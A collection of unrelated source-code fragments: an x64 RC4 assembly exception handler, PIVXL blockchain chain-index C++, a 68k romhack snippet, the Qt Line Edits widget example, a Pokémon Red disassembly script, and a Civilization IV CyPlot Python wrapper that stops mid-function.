mov rax,QWORD PTR[152+r8]
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
$L$common_seh_exit::
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
key_se_handler ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_RC4
DD imagerel $L$SEH_end_RC4
DD imagerel $L$SEH_info_RC4
DD imagerel $L$SEH_begin_RC4_set_key
DD imagerel $L$SEH_end_RC4_set_key
DD imagerel $L$SEH_info_RC4_set_key
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_RC4::
DB 9,0,0,0
DD imagerel stream_se_handler
$L$SEH_info_RC4_set_key::
DB 9,0,0,0
DD imagerel key_se_handler
.xdata ENDS
END
|
// Copyright (c) 2019-2023 The PIVXL developers
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2016-2019 The PIVX developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "chain.h"
/**
* CChain implementation
*/
void CChain::SetTip(CBlockIndex* pindex)
{
if (pindex == NULL) {
vChain.clear();
return;
}
vChain.resize(pindex->nHeight + 1);
while (pindex && vChain[pindex->nHeight] != pindex) {
vChain[pindex->nHeight] = pindex;
pindex = pindex->pprev;
}
}
CBlockLocator CChain::GetLocator(const CBlockIndex* pindex) const
{
int nStep = 1;
std::vector<uint256> vHave;
vHave.reserve(32);
if (!pindex)
pindex = Tip();
while (pindex) {
vHave.push_back(pindex->GetBlockHash());
// Stop when we have added the genesis block.
if (pindex->nHeight == 0)
break;
// Exponentially larger steps back, plus the genesis block.
int nHeight = std::max(pindex->nHeight - nStep, 0);
if (Contains(pindex)) {
// Use O(1) CChain index if possible.
pindex = (*this)[nHeight];
} else {
// Otherwise, use O(log n) skiplist.
pindex = pindex->GetAncestor(nHeight);
}
if (vHave.size() > 10)
nStep *= 2;
}
return CBlockLocator(vHave);
}
const CBlockIndex* CChain::FindFork(const CBlockIndex* pindex) const
{
if (pindex->nHeight > Height())
pindex = pindex->GetAncestor(Height());
while (pindex && !Contains(pindex))
pindex = pindex->pprev;
return pindex;
}
uint256 CBlockIndex::GetBlockTrust() const
{
uint256 bnTarget;
bnTarget.SetCompact(nBits);
if (bnTarget <= 0)
return 0;
if (IsProofOfStake()) {
// Return trust score as usual
return (uint256(1) << 256) / (bnTarget + 1);
} else {
// Calculate work amount for block
uint256 bnPoWTrust = ((~uint256(0) >> 20) / (bnTarget + 1));
return bnPoWTrust > 1 ? bnPoWTrust : 1;
}
} |
copyright zengfr site:http://github.com/zengfr/romhack
00A2FC clr.b ($2f,A4)
00A300 clr.b ($36,A4)
copyright zengfr site:http://github.com/zengfr/romhack
|
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of the examples of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:BSD$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** BSD License Usage
** Alternatively, you may use this file under the terms of the BSD license
** as follows:
**
** "Redistribution and use in source and binary forms, with or without
** modification, are permitted provided that the following conditions are
** met:
** * Redistributions of source code must retain the above copyright
** notice, this list of conditions and the following disclaimer.
** * Redistributions in binary form must reproduce the above copyright
** notice, this list of conditions and the following disclaimer in
** the documentation and/or other materials provided with the
** distribution.
** * Neither the name of The Qt Company Ltd nor the names of its
** contributors may be used to endorse or promote products derived
** from this software without specific prior written permission.
**
**
** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include <QtWidgets>
#include "window.h"
//! [0]
Window::Window()
{
QGroupBox *echoGroup = new QGroupBox(tr("Echo"));
QLabel *echoLabel = new QLabel(tr("Mode:"));
QComboBox *echoComboBox = new QComboBox;
echoComboBox->addItem(tr("Normal"));
echoComboBox->addItem(tr("Password"));
echoComboBox->addItem(tr("PasswordEchoOnEdit"));
echoComboBox->addItem(tr("No Echo"));
echoLineEdit = new QLineEdit;
echoLineEdit->setPlaceholderText("Placeholder Text");
echoLineEdit->setFocus();
//! [0]
//! [1]
QGroupBox *validatorGroup = new QGroupBox(tr("Validator"));
QLabel *validatorLabel = new QLabel(tr("Type:"));
QComboBox *validatorComboBox = new QComboBox;
validatorComboBox->addItem(tr("No validator"));
validatorComboBox->addItem(tr("Integer validator"));
validatorComboBox->addItem(tr("Double validator"));
validatorLineEdit = new QLineEdit;
validatorLineEdit->setPlaceholderText("Placeholder Text");
//! [1]
//! [2]
QGroupBox *alignmentGroup = new QGroupBox(tr("Alignment"));
QLabel *alignmentLabel = new QLabel(tr("Type:"));
QComboBox *alignmentComboBox = new QComboBox;
alignmentComboBox->addItem(tr("Left"));
alignmentComboBox->addItem(tr("Centered"));
alignmentComboBox->addItem(tr("Right"));
alignmentLineEdit = new QLineEdit;
alignmentLineEdit->setPlaceholderText("Placeholder Text");
//! [2]
//! [3]
QGroupBox *inputMaskGroup = new QGroupBox(tr("Input mask"));
QLabel *inputMaskLabel = new QLabel(tr("Type:"));
QComboBox *inputMaskComboBox = new QComboBox;
inputMaskComboBox->addItem(tr("No mask"));
inputMaskComboBox->addItem(tr("Phone number"));
inputMaskComboBox->addItem(tr("ISO date"));
inputMaskComboBox->addItem(tr("License key"));
inputMaskLineEdit = new QLineEdit;
inputMaskLineEdit->setPlaceholderText("Placeholder Text");
//! [3]
//! [4]
QGroupBox *accessGroup = new QGroupBox(tr("Access"));
QLabel *accessLabel = new QLabel(tr("Read-only:"));
QComboBox *accessComboBox = new QComboBox;
accessComboBox->addItem(tr("False"));
accessComboBox->addItem(tr("True"));
accessLineEdit = new QLineEdit;
accessLineEdit->setPlaceholderText("Placeholder Text");
//! [4]
//! [5]
connect(echoComboBox, SIGNAL(activated(int)),
this, SLOT(echoChanged(int)));
connect(validatorComboBox, SIGNAL(activated(int)),
this, SLOT(validatorChanged(int)));
connect(alignmentComboBox, SIGNAL(activated(int)),
this, SLOT(alignmentChanged(int)));
connect(inputMaskComboBox, SIGNAL(activated(int)),
this, SLOT(inputMaskChanged(int)));
connect(accessComboBox, SIGNAL(activated(int)),
this, SLOT(accessChanged(int)));
//! [5]
//! [6]
QGridLayout *echoLayout = new QGridLayout;
echoLayout->addWidget(echoLabel, 0, 0);
echoLayout->addWidget(echoComboBox, 0, 1);
echoLayout->addWidget(echoLineEdit, 1, 0, 1, 2);
echoGroup->setLayout(echoLayout);
//! [6]
//! [7]
QGridLayout *validatorLayout = new QGridLayout;
validatorLayout->addWidget(validatorLabel, 0, 0);
validatorLayout->addWidget(validatorComboBox, 0, 1);
validatorLayout->addWidget(validatorLineEdit, 1, 0, 1, 2);
validatorGroup->setLayout(validatorLayout);
QGridLayout *alignmentLayout = new QGridLayout;
alignmentLayout->addWidget(alignmentLabel, 0, 0);
alignmentLayout->addWidget(alignmentComboBox, 0, 1);
alignmentLayout->addWidget(alignmentLineEdit, 1, 0, 1, 2);
alignmentGroup-> setLayout(alignmentLayout);
QGridLayout *inputMaskLayout = new QGridLayout;
inputMaskLayout->addWidget(inputMaskLabel, 0, 0);
inputMaskLayout->addWidget(inputMaskComboBox, 0, 1);
inputMaskLayout->addWidget(inputMaskLineEdit, 1, 0, 1, 2);
inputMaskGroup->setLayout(inputMaskLayout);
QGridLayout *accessLayout = new QGridLayout;
accessLayout->addWidget(accessLabel, 0, 0);
accessLayout->addWidget(accessComboBox, 0, 1);
accessLayout->addWidget(accessLineEdit, 1, 0, 1, 2);
accessGroup->setLayout(accessLayout);
//! [7]
//! [8]
QGridLayout *layout = new QGridLayout;
layout->addWidget(echoGroup, 0, 0);
layout->addWidget(validatorGroup, 1, 0);
layout->addWidget(alignmentGroup, 2, 0);
layout->addWidget(inputMaskGroup, 0, 1);
layout->addWidget(accessGroup, 1, 1);
setLayout(layout);
setWindowTitle(tr("Line Edits"));
}
//! [8]
//! [9]
void Window::echoChanged(int index)
{
switch (index) {
case 0:
echoLineEdit->setEchoMode(QLineEdit::Normal);
break;
case 1:
echoLineEdit->setEchoMode(QLineEdit::Password);
break;
case 2:
echoLineEdit->setEchoMode(QLineEdit::PasswordEchoOnEdit);
break;
case 3:
echoLineEdit->setEchoMode(QLineEdit::NoEcho);
}
}
//! [9]
//! [10]
void Window::validatorChanged(int index)
{
switch (index) {
case 0:
validatorLineEdit->setValidator(0);
break;
case 1:
validatorLineEdit->setValidator(new QIntValidator(
validatorLineEdit));
break;
case 2:
validatorLineEdit->setValidator(new QDoubleValidator(-999.0,
999.0, 2, validatorLineEdit));
}
validatorLineEdit->clear();
}
//! [10]
//! [11]
void Window::alignmentChanged(int index)
{
switch (index) {
case 0:
alignmentLineEdit->setAlignment(Qt::AlignLeft);
break;
case 1:
alignmentLineEdit->setAlignment(Qt::AlignCenter);
break;
case 2:
alignmentLineEdit->setAlignment(Qt::AlignRight);
}
}
//! [11]
//! [12]
void Window::inputMaskChanged(int index)
{
switch (index) {
case 0:
inputMaskLineEdit->setInputMask("");
break;
case 1:
inputMaskLineEdit->setInputMask("+99 99 99 99 99;_");
break;
case 2:
inputMaskLineEdit->setInputMask("0000-00-00");
inputMaskLineEdit->setText("00000000");
inputMaskLineEdit->setCursorPosition(0);
break;
case 3:
inputMaskLineEdit->setInputMask(">AAAAA-AAAAA-AAAAA-AAAAA-AAAAA;#");
}
}
//! [12]
//! [13]
void Window::accessChanged(int index)
{
switch (index) {
case 0:
accessLineEdit->setReadOnly(false);
break;
case 1:
accessLineEdit->setReadOnly(true);
}
}
//! [13]
|
Route2HouseScript:
jp EnableAutoTextBoxDrawing
Route2HouseTextPointers:
dw Route2HouseText1
dw Route2HouseText2
Route2HouseText1:
TX_FAR _Route2HouseText1
db "@"
Route2HouseText2:
TX_ASM
ld a, $1
ld [wWhichTrade], a
predef DoInGameTradeDialogue
jp TextScriptEnd
|
//
// Python wrapper class for CvPlot
//
//
#include "CvGameCoreDLL.h"
#include "CyPlot.h"
#include "CyCity.h"
#include "CyArea.h"
#include "CyUnit.h"
#include "CvPlot.h"
CyPlot::CyPlot(CvPlot* pPlot) : m_pPlot(pPlot)
{
}
CyPlot::CyPlot() : m_pPlot(NULL)
{
}
void CyPlot::erase()
{
if (m_pPlot)
m_pPlot->erase();
}
//Rhye - start
void CyPlot::eraseAIDevelopment()
{
if (m_pPlot)
m_pPlot->eraseAIDevelopment();
}
//Rhye - end
NiPoint3 CyPlot::getPoint()
{
return m_pPlot ? m_pPlot->getPoint() : NiPoint3(0,0,0);
}
int CyPlot::getTeam()
{
return m_pPlot ? m_pPlot->getTeam() : -1;
}
void CyPlot::nukeExplosion(int iRange, CyUnit* pNukeUnit)
{
if (m_pPlot)
m_pPlot->nukeExplosion(iRange, pNukeUnit->getUnit());
}
bool CyPlot::isConnectedTo(CyCity* pCity)
{
return m_pPlot ? m_pPlot->isConnectedTo(pCity->getCity()) : false;
}
bool CyPlot::isConnectedToCapital(int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->isConnectedToCapital((PlayerTypes) ePlayer): false;
}
int CyPlot::getPlotGroupConnectedBonus(int /*PlayerTypes*/ ePlayer, int /*BonusTypes*/ eBonus)
{
return m_pPlot ? m_pPlot->getPlotGroupConnectedBonus((PlayerTypes) ePlayer, (BonusTypes) eBonus) : -1;
}
bool CyPlot::isPlotGroupConnectedBonus(int /*PlayerTypes*/ ePlayer, int /*BonusTypes*/ eBonus)
{
return m_pPlot ? m_pPlot->isPlotGroupConnectedBonus((PlayerTypes) ePlayer, (BonusTypes) eBonus) : false;
}
bool CyPlot::isAdjacentPlotGroupConnectedBonus(int /*PlayerTypes*/ ePlayer, int /*BonusTypes*/ eBonus)
{
return m_pPlot ? m_pPlot->isAdjacentPlotGroupConnectedBonus((PlayerTypes) ePlayer, (BonusTypes) eBonus) : false;
}
void CyPlot::updateVisibility()
{
if (m_pPlot)
{
m_pPlot->updateVisibility();
}
}
bool CyPlot::isAdjacentToArea(CyArea* pArea)
{
return m_pPlot ? m_pPlot->isAdjacentToArea(pArea->getArea()) : false;
}
bool CyPlot::shareAdjacentArea(CyPlot* pPlot)
{
return m_pPlot ? m_pPlot->shareAdjacentArea(pPlot->getPlot()) : false;
}
bool CyPlot::isAdjacentToLand()
{
return m_pPlot ? m_pPlot->isAdjacentToLand() : false;
}
bool CyPlot::isCoastalLand()
{
return m_pPlot ? m_pPlot->isCoastalLand() : false;
}
bool CyPlot::isWithinTeamCityRadius(int /*TeamTypes*/ eTeam, int /*PlayerTypes*/ eIgnorePlayer)
{
return m_pPlot ? m_pPlot->isWithinTeamCityRadius((TeamTypes) eTeam, (PlayerTypes) eIgnorePlayer) : false;
}
bool CyPlot::isLake()
{
return m_pPlot ? m_pPlot->isLake() : false;
}
bool CyPlot::isFreshWater()
{
return m_pPlot ? m_pPlot->isFreshWater() : false;
}
bool CyPlot::isPotentialIrrigation()
{
return m_pPlot ? m_pPlot->isPotentialIrrigation() : false;
}
bool CyPlot::canHavePotentialIrrigation()
{
return m_pPlot ? m_pPlot->canHavePotentialIrrigation() : false;
}
bool CyPlot::isIrrigationAvailable(bool bIgnoreSelf)
{
return m_pPlot ? m_pPlot->isIrrigationAvailable(bIgnoreSelf) : false;
}
bool CyPlot::isRiverSide()
{
return m_pPlot ? m_pPlot->isRiverSide() : false;
}
bool CyPlot::isRiver()
{
return m_pPlot ? m_pPlot->isRiver() : false;
}
bool CyPlot::isRiverConnection(int /*DirectionTypes*/ eDirection)
{
return m_pPlot ? m_pPlot->isRiverConnection((DirectionTypes) eDirection) : false;
}
int CyPlot::getNearestLandArea()
{
return m_pPlot ? m_pPlot->getNearestLandArea() : -1;
}
CyPlot* CyPlot::getNearestLandPlot()
{
return m_pPlot ? new CyPlot(m_pPlot->getNearestLandPlot()) : NULL;
}
int CyPlot::seeFromLevel(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->seeFromLevel((TeamTypes)eTeam) : -1;
}
int CyPlot::seeThroughLevel()
{
return m_pPlot ? m_pPlot->seeThroughLevel() : -1;
}
bool CyPlot::canHaveBonus(int /*BonusTypes*/ eBonus, bool bIgnoreLatitude)
{
return m_pPlot ? m_pPlot->canHaveBonus((BonusTypes)eBonus, bIgnoreLatitude) : false;
}
bool CyPlot::canHaveImprovement(int /* ImprovementTypes */ eImprovement, int /*TeamTypes*/ eTeam, bool bPotential)
{
return m_pPlot ? m_pPlot->canHaveImprovement(((ImprovementTypes)eImprovement), ((TeamTypes)eTeam), bPotential) : false;
}
bool CyPlot::canBuild(int /*BuildTypes*/ eBuild, int /*PlayerTypes*/ ePlayer, bool bTestVisible)
{
return m_pPlot ? m_pPlot->canBuild((BuildTypes) eBuild, (PlayerTypes) ePlayer, bTestVisible) : false;
}
int CyPlot::getBuildTime(int /* BuildTypes */ eBuild)
{
return m_pPlot ? m_pPlot->getBuildTime((BuildTypes)eBuild) : -1;
}
int CyPlot::getBuildTurnsLeft(int /*BuildTypes*/ eBuild, int iNowExtra, int iThenExtra)
{
return m_pPlot ? m_pPlot->getBuildTurnsLeft((BuildTypes) eBuild, iNowExtra, iThenExtra) : -1;
}
int CyPlot::getFeatureProduction(int /*BuildTypes*/ eBuild, int /*TeamTypes*/ eTeam, CyCity* ppCity)
{
CvCity* tempCity = ppCity->getCity();
return m_pPlot ? m_pPlot->getFeatureProduction((BuildTypes) eBuild, (TeamTypes) eTeam, &tempCity) : -1;
}
CyUnit* CyPlot::getBestDefender(int /*PlayerTypes*/ eOwner, int /*PlayerTypes*/ eAttackingPlayer, CyUnit* pAttacker, bool bTestAtWar, bool bTestPotentialEnemy, bool bTestCanMove)
{
return m_pPlot ? new CyUnit(m_pPlot->getBestDefender((PlayerTypes) eOwner, (PlayerTypes) eAttackingPlayer, pAttacker->getUnit(), bTestAtWar, bTestPotentialEnemy, bTestCanMove)) : NULL;
}
CyUnit* CyPlot::getSelectedUnit()
{
return m_pPlot ? new CyUnit(m_pPlot->getSelectedUnit()) : NULL;
}
int CyPlot::getUnitPower(int /* PlayerTypes */ eOwner)
{
return m_pPlot ? m_pPlot->getUnitPower((PlayerTypes)eOwner) : -1;
}
int CyPlot::movementCost(CyUnit* pUnit, CyPlot* pFromPlot)
{
return m_pPlot ? m_pPlot->movementCost(pUnit->getUnit(), pFromPlot->getPlot()) : -1;
}
int CyPlot::defenseModifier(int iDefendTeam, bool bIgnoreBuilding, bool bHelp)
{
return m_pPlot ? m_pPlot->defenseModifier((TeamTypes)iDefendTeam, bIgnoreBuilding, bHelp) : -1;
}
int CyPlot::getExtraMovePathCost()
{
return m_pPlot ? m_pPlot->getExtraMovePathCost() : -1;
}
void CyPlot::changeExtraMovePathCost(int iChange)
{
if (m_pPlot)
m_pPlot->changeExtraMovePathCost(iChange);
}
bool CyPlot::isAdjacentOwned()
{
return m_pPlot ? m_pPlot->isAdjacentOwned() : false;
}
bool CyPlot::isAdjacentPlayer(int /*PlayerTypes*/ ePlayer, bool bLandOnly)
{
return m_pPlot ? m_pPlot->isAdjacentPlayer((PlayerTypes)ePlayer, bLandOnly) : false;
}
bool CyPlot::isAdjacentTeam(int /*TeamTypes*/ ePlayer, bool bLandOnly)
{
return m_pPlot ? m_pPlot->isAdjacentTeam((TeamTypes)ePlayer, bLandOnly) : false;
}
bool CyPlot::isWithinCultureRange(int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->isWithinCultureRange((PlayerTypes)ePlayer) : false;
}
int CyPlot::getNumCultureRangeCities(int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->getNumCultureRangeCities((PlayerTypes)ePlayer) : -1;
}
int /*PlayerTypes*/ CyPlot::calculateCulturalOwner()
{
return m_pPlot ? m_pPlot->calculateCulturalOwner() : -1;
}
bool CyPlot::isOwned()
{
return m_pPlot ? m_pPlot->isOwned() : false;
}
bool CyPlot::isBarbarian()
{
return m_pPlot ? m_pPlot->isBarbarian() : false;
}
bool CyPlot::isRevealedBarbarian()
{
return m_pPlot ? m_pPlot->isRevealedBarbarian() : false;
}
bool CyPlot::isVisible(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->isVisible((TeamTypes)eTeam, bDebug) : false;
}
bool CyPlot::isActiveVisible(bool bDebug)
{
return m_pPlot ? m_pPlot->isActiveVisible(bDebug) : false;
}
bool CyPlot::isVisibleToWatchingHuman()
{
return m_pPlot ? m_pPlot->isVisibleToWatchingHuman() : false;
}
bool CyPlot::isAdjacentVisible(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->isAdjacentVisible((TeamTypes) eTeam, bDebug) : false;
}
bool CyPlot::isAdjacentNonvisible(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isAdjacentNonvisible((TeamTypes) eTeam) : false;
}
bool CyPlot::isAdjacentRevealed(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isAdjacentRevealed((TeamTypes) eTeam) : false;
}
bool CyPlot::isAdjacentNonrevealed(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isAdjacentNonrevealed((TeamTypes) eTeam) : false;
}
void CyPlot::removeGoody()
{
if (m_pPlot)
{
m_pPlot->removeGoody();
}
}
bool CyPlot::isGoody()
{
return m_pPlot ? m_pPlot->isGoody() : false;
}
bool CyPlot::isRevealedGoody(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isRevealedGoody((TeamTypes) eTeam) : false;
}
bool CyPlot::isCity()
{
return m_pPlot ? m_pPlot->isCity() : false;
}
bool CyPlot::isFriendlyCity(CyUnit* pUnit, bool bCheckImprovement)
{
return m_pPlot ? m_pPlot->isFriendlyCity(*(pUnit->getUnit()), bCheckImprovement) : false;
}
bool CyPlot::isEnemyCity(CyUnit* pUnit)
{
return m_pPlot ? m_pPlot->isEnemyCity(*(pUnit->getUnit())) : false;
}
bool CyPlot::isOccupation()
{
return m_pPlot ? m_pPlot->isOccupation() : false;
}
bool CyPlot::isBeingWorked()
{
return m_pPlot ? m_pPlot->isBeingWorked() : false;
}
bool CyPlot::isUnit()
{
return m_pPlot ? m_pPlot->isUnit() : false;
}
bool CyPlot::isInvestigate(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isInvestigate((TeamTypes) eTeam) : false;
}
bool CyPlot::isVisibleEnemyDefender(CyUnit* pUnit)
{
return m_pPlot ? m_pPlot->isVisibleEnemyDefender(pUnit->getUnit()) : false;
}
int CyPlot::getNumDefenders(int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->getNumDefenders((PlayerTypes) ePlayer) : -1;
}
int CyPlot::getNumVisibleEnemyDefenders(CyUnit* pUnit)
{
return m_pPlot ? m_pPlot->getNumVisibleEnemyDefenders(pUnit->getUnit()) : -1;
}
int CyPlot::getNumVisiblePotentialEnemyDefenders(CyUnit* pUnit)
{
return m_pPlot ? m_pPlot->getNumVisiblePotentialEnemyDefenders(pUnit->getUnit()) : -1;
}
bool CyPlot::isVisibleEnemyUnit(int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->isVisibleEnemyUnit((PlayerTypes) ePlayer) : false;
}
bool CyPlot::isVisibleOtherUnit(int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->isVisibleOtherUnit((PlayerTypes) ePlayer) : false;
}
bool CyPlot::isFighting()
{
return m_pPlot ? m_pPlot->isFighting() : false;
}
bool CyPlot::canHaveFeature(int /*FeatureTypes*/ eFeature)
{
return m_pPlot ? m_pPlot->canHaveFeature((FeatureTypes)eFeature) : false;
}
bool CyPlot::isRoute()
{
return m_pPlot ? m_pPlot->isRoute() : false;
}
bool CyPlot::isNetworkTerrain(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isNetworkTerrain((TeamTypes) eTeam) : false;
}
bool CyPlot::isBonusNetwork(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isBonusNetwork((TeamTypes) eTeam) : false;
}
bool CyPlot::isTradeNetworkImpassable(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isTradeNetworkImpassable((TeamTypes) eTeam) : false;
}
bool CyPlot::isTradeNetwork(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isTradeNetwork((TeamTypes)eTeam) : false;
}
bool CyPlot::isTradeNetworkConnected(CyPlot* pPlot, int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->isTradeNetworkConnected(pPlot->getPlot(), (TeamTypes)eTeam) : false;
}
bool CyPlot::isValidDomainForLocation(CyUnit* pUnit) const
{
return (m_pPlot && pUnit && pUnit->getUnit()) ? m_pPlot->isValidDomainForLocation(*(pUnit->getUnit())) : false;
}
bool CyPlot::isValidDomainForAction(CyUnit* pUnit) const
{
return (m_pPlot && pUnit && pUnit->getUnit()) ? m_pPlot->isValidDomainForAction(*(pUnit->getUnit())) : false;
}
bool CyPlot::isImpassable()
{
return m_pPlot ? m_pPlot->isImpassable() : false;
}
int CyPlot::getX()
{
return m_pPlot ? m_pPlot->getX_INLINE() : -1;
}
int CyPlot::getY()
{
return m_pPlot ? m_pPlot->getY_INLINE() : -1;
}
bool CyPlot::at(int iX, int iY)
{
return m_pPlot ? m_pPlot->at(iX, iY) : false;
}
int CyPlot::getLatitude()
{
return m_pPlot ? m_pPlot->getLatitude() : -1;
}
CyArea* CyPlot::area()
{
return m_pPlot ? new CyArea(m_pPlot->area()) : NULL;
}
CyArea* CyPlot::waterArea()
{
return m_pPlot ? new CyArea(m_pPlot->waterArea()) : NULL;
}
int CyPlot::getArea()
{
return m_pPlot ? m_pPlot->getArea() : -1;
}
//Rhye - start
void CyPlot::setArea(int iNewValue)
{
if (m_pPlot)
m_pPlot->setArea(iNewValue);
}
//Rhye - end
int CyPlot::getUpgradeProgress()
{
return m_pPlot ? m_pPlot->getUpgradeProgress() : -1;
}
int CyPlot::getUpgradeTimeLeft(int /*ImprovementTypes*/ eImprovement, int /*PlayerTypes*/ ePlayer)
{
return m_pPlot ? m_pPlot->getUpgradeTimeLeft((ImprovementTypes) eImprovement, (PlayerTypes) ePlayer) : -1;
}
void CyPlot::setUpgradeProgress(int iNewValue)
{
if (m_pPlot)
m_pPlot->setUpgradeProgress(iNewValue);
}
void CyPlot::changeUpgradeProgress(int iChange)
{
if (m_pPlot)
m_pPlot->changeUpgradeProgress(iChange);
}
int CyPlot::getForceUnownedTimer()
{
return m_pPlot ? m_pPlot->getForceUnownedTimer() : -1;
}
bool CyPlot::isForceUnowned()
{
return m_pPlot ? m_pPlot->isForceUnowned() : false;
}
void CyPlot::setForceUnownedTimer(int iNewValue)
{
if (m_pPlot)
m_pPlot->setForceUnownedTimer(iNewValue);
}
void CyPlot::changeForceUnownedTimer(int iChange)
{
if (m_pPlot)
m_pPlot->changeForceUnownedTimer(iChange);
}
int CyPlot::getCityRadiusCount()
{
return m_pPlot ? m_pPlot->getCityRadiusCount() : -1;
}
int CyPlot::isCityRadius()
{
return m_pPlot ? m_pPlot->isCityRadius() : -1;
}
bool CyPlot::isStartingPlot()
{
return m_pPlot ? m_pPlot->isStartingPlot() : false;
}
void CyPlot::setStartingPlot(bool bNewValue)
{
if (m_pPlot)
m_pPlot->setStartingPlot(bNewValue);
}
bool CyPlot::isNOfRiver()
{
return m_pPlot ? m_pPlot->isNOfRiver() : false;
}
void CyPlot::setNOfRiver(bool bNewValue, CardinalDirectionTypes eRiverDir)
{
if (m_pPlot)
{
m_pPlot->setNOfRiver(bNewValue, eRiverDir);
}
}
bool CyPlot::isWOfRiver()
{
return m_pPlot ? m_pPlot->isWOfRiver() : false;
}
void CyPlot::setWOfRiver(bool bNewValue, CardinalDirectionTypes eRiverDir)
{
if (m_pPlot)
{
m_pPlot->setWOfRiver(bNewValue, eRiverDir);
}
}
CardinalDirectionTypes CyPlot::getRiverWEDirection()
{
return m_pPlot->getRiverWEDirection();
}
CardinalDirectionTypes CyPlot::getRiverNSDirection()
{
return m_pPlot->getRiverNSDirection();
}
bool CyPlot::isIrrigated()
{
return m_pPlot ? m_pPlot->isIrrigated() : false;
}
bool CyPlot::isPotentialCityWork()
{
return m_pPlot ? m_pPlot->isPotentialCityWork() : false;
}
bool CyPlot::isPotentialCityWorkForArea(CyArea* pArea)
{
return m_pPlot ? m_pPlot->isPotentialCityWorkForArea(pArea->getArea()) : false;
}
bool CyPlot::isFlagDirty()
{
return m_pPlot ? m_pPlot->isFlagDirty() : false;
}
void CyPlot::setFlagDirty(bool bNewValue)
{
if (m_pPlot)
{
m_pPlot->setFlagDirty(bNewValue);
}
}
int CyPlot::getOwner()
{
return m_pPlot ? m_pPlot->getOwnerINLINE() : -1;
}
void CyPlot::setOwner(int /*PlayerTypes*/ eNewValue)
{
if (m_pPlot)
m_pPlot->setOwner((PlayerTypes) eNewValue, true, true);
}
void CyPlot::setOwnerNoUnitCheck(int /*PlayerTypes*/ eNewValue)
{
if (m_pPlot)
m_pPlot->setOwner((PlayerTypes) eNewValue, false, true);
}
PlotTypes CyPlot::getPlotType()
{
return m_pPlot ? m_pPlot->getPlotType() : NO_PLOT;
}
bool CyPlot::isWater()
{
return m_pPlot ? m_pPlot->isWater() : false;
}
bool CyPlot::isFlatlands()
{
return m_pPlot ? m_pPlot->isFlatlands() : false;
}
bool CyPlot::isHills()
{
return m_pPlot ? m_pPlot->isHills() : false;
}
bool CyPlot::isPeak()
{
return m_pPlot ? m_pPlot->isPeak() : false;
}
void CyPlot::setPlotType(PlotTypes eNewValue, bool bRecalculate, bool bRebuildGraphics)
{
if (m_pPlot)
